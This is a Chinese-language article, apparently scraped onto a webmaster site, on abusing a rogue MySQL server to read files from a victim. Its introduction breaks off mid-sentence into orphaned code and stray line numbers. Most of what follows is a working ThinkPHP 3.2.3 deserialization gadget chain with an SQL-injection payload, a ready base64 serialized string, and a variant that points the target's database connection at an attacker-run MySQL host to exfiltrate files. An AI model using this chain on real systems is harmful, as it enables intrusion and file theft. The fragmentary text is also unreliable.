加入收藏 | 设为首页 | 会员中心 | 我要投稿 惠州站长网 (https://www.0752zz.com.cn/)- 办公协同、云通信、物联设备、操作系统、高性能计算!
当前位置: 首页 > 云计算 > 正文

浅析MySQL恶意服务器读取文件原理

发布时间:2022-08-02 11:34:34 所属栏目:云计算 来源:互联网
导读:前言 搭建MySQL恶意服务器读取文件这件事,虽然直接利用门槛较高,但是由于在网上看到了一种比较新颖的利用方式(利用社会工程学引诱用户连接MySQL进而读取用户文件),个人觉得比较有意思,总结了一下攻击原理以及攻击方式,因此就有了这篇文章。 原理 在阐

              );
          }
      }
  }
 
  namespace {
      echo base64_encode(serialize(new ThinkImageDriverImagick()));
  }
  1.
  2.
  3.
  4.
  5.
  6.
  7.
  8.
  9.
  10.
  11.
  12.
  13.
  14.
  15.
  16.
  17.
  18.
  19.
  20.
  21.
  22.
  23.
  24.
  25.
  26.
  27.
  28.
  29.
  30.
  31.
  32.
  33.
  34.
  35.
  36.
  37.
  38.
  39.
  40.
  41.
  42.
  43.
  44.
  45.
  46.
  47.
  48.
  49.
  50.
  51.
  52.
  53.
  54.
  55.
  56.
  57.
  58.
  59.
  60.
  61.
  62.
  63.
  64.
  上方链子中的数据库信息为我本地的数据库信息,执行该文件后,得到序列化字符串如下:
 
  复制
  TzoyNjoiVGhpbmtcSW1hZ2VcRHJpdmVyXEltYWdpY2siOjE6e3M6MzE6IgBUaGlua1xJbWFnZVxEcml2ZXJcSW1hZ2ljawBpbWciO086Mjk6IlRoaW5rXFNlc3Npb25cRHJpdmVyXE1lbWNhY2hlIjoxOntzOjk6IgAqAGhhbmRsZSI7TzoxMToiVGhpbmtcTW9kZWwiOjQ6e3M6MTA6IgAqAG9wdGlvbnMiO2E6MTp7czo1OiJ3aGVyZSI7czowOiIiO31zOjU6IgAqAHBrIjtzOjI6ImlkIjtzOjc6IgAqAGRhdGEiO2E6MTp7czoyOiJpZCI7YToyOntzOjU6InRhYmxlIjtzOjU5OiJ0cF91c2VyIHdoZXJlIDE9dXBkYXRleG1sKDEsY29uY2F0KDB4N2UsdmVyc2lvbigpLDB4N2UpLDEpIyI7czo1OiJ3aGVyZSI7czozOiIxPTEiO319czo1OiIAKgBkYiI7TzoyMToiVGhpbmtcRGJcRHJpdmVyXE15c3FsIjoyOntzOjEwOiIAKgBvcHRpb25zIjthOjE6e2k6MTAwMTtiOjE7fXM6OToiACoAY29uZmlnIjthOjc6e3M6NToiZGVidWciO2k6MTtzOjg6ImRhdGFiYXNlIjtzOjU6InRwMzIzIjtzOjg6Imhvc3RuYW1lIjtzOjk6IjEyNy4wLjAuMSI7czo4OiJob3N0cG9ydCI7czo0OiI4ODg5IjtzOjc6ImNoYXJzZXQiO3M6NDoidXRmOCI7czo4OiJ1c2VybmFtZSI7czo0OiJyb290IjtzOjg6InBhc3N3b3JkIjtzOjQ6InJvb3QiO319fX19
  1.
  传给url
 
  浅析MySQL恶意服务器读取文件原理
 
  可以看到报错注入成功,然后,在公网上搭建一个恶意的MySQL服务,这个脚本在Github中已经有前辈写好了,具体原理就是分析相关的MySQL报文,然后与后端服务器创建恶意连接,并且获得自己想要的文件,这里贴出几个连接,有些项目可能在新的MySQL版本中无法使用。
 
  https://github.com/Gifts/Rogue-MySql-Server
  https://github.com/allyshka/Rogue-MySql-Server
  https://github.com/jas502n/CVE-2019-12086-jackson-databind-file-read
  下载好POC之后,修改一下要读取的文件名。
 
  浅析MySQL恶意服务器读取文件原理
 
  然后利用Python启动,启动完成后,恶意的MySQL就在监听3307端口
 
  复制
  python rogue_mysql_server.py
  1.
  接下来修改之前的链子,把IP和端口修改为远程恶意的MySQL地址,然后生成链子。
 
  复制
  <?php
  namespace ThinkDbDriver{
      use PDO;
      class Mysql{
          protected $options = array(
              PDO::MYSQL_ATTR_LOCAL_INFILE => true    // 开启才能读取文件
          );
          protected $config = array(
              "debug"    => 1,
              "database" => "tp323",
              "hostname" => "1.1.1.1",
              "hostport" => "3307",
              "charset"  => "utf8",
              "username" => "root",
              "password" => "root"
          );
      }
  }
 
  namespace ThinkImageDriver{
      use ThinkSessionDriverMemcache;
      class Imagick{
          private $img;
 
          public function __construct(){
              $this->img = new Memcache();
          }
      }
  }
 
  namespace ThinkSessionDriver{
      use ThinkModel;
      class Memcache{
          protected $handle;
 
          public function __construct(){
              $this->handle = new Model();
          }
      }
  }
 
  namespace Think{
      use ThinkDbDriverMysql;
      class Model{
          protected $options   = array();
          protected $pk;
          protected $data = array();
          protected $db = null;
 
          public function __construct(){
              $this->db = new Mysql();
              $this->options['where'] = '';
              $this->pk = 'id';
              $this->data[$this->pk] = array(
                  "table" => "tp_user where 1=updatexml(1,concat(0x7e,version(),0x7e),1)#",
                  "where" => "1=1"
              );
          }
      }
  }
 
  namespace {
      echo base64_encode(serialize(new ThinkImageDriverImagick()));
  }

(编辑:惠州站长网)

【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!

推荐文章
    热点阅读